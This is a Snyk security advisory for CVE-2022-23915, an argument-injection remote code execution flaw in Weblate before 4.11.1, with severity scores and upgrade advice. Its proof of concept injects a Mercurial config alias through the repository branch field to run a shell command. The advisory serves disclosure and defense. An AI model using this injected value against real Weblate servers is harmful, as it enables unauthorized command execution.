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Remote Code Execution (RCE) Affecting weblate package, versions [0,4.11.1)

0.0
high

Snyk CVSS

    Attack Complexity Low
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.29% (69th percentile)
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NVD
8.8 high

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  • Snyk ID SNYK-PYTHON-WEBLATE-2414088
  • published 4 Mar 2022
  • disclosed 2 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team
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Introduced: 2 Mar 2022

CVE-2022-23915 Open this link in a new tab
CWE-94 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade Weblate to version 4.11.1 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection when using git or mercurial repositories. Authenticated users, can change the behavior of the application in an unintended way, leading to command execution.

PoC

  1. login into the application: http://localhost:8888/accounts/login/?next=/

  2. Add a new translation project with the following information (http://localhost:8888/create/project/) and then Save:

Project name: poc
URL slug: poc
Project website: http://localhost
  1. Add new translation component with the following information (http://localhost:8888/create/component/?project=1) and then click Continue:
Version control system: Mercurial
Source code repository: http://localhost:8888
Repository branch: --config=alias.pull=!id>/app/cache/static/output_rce.txt
  1. the output of the command id is at http://localhost:8888/static/output_rce.txt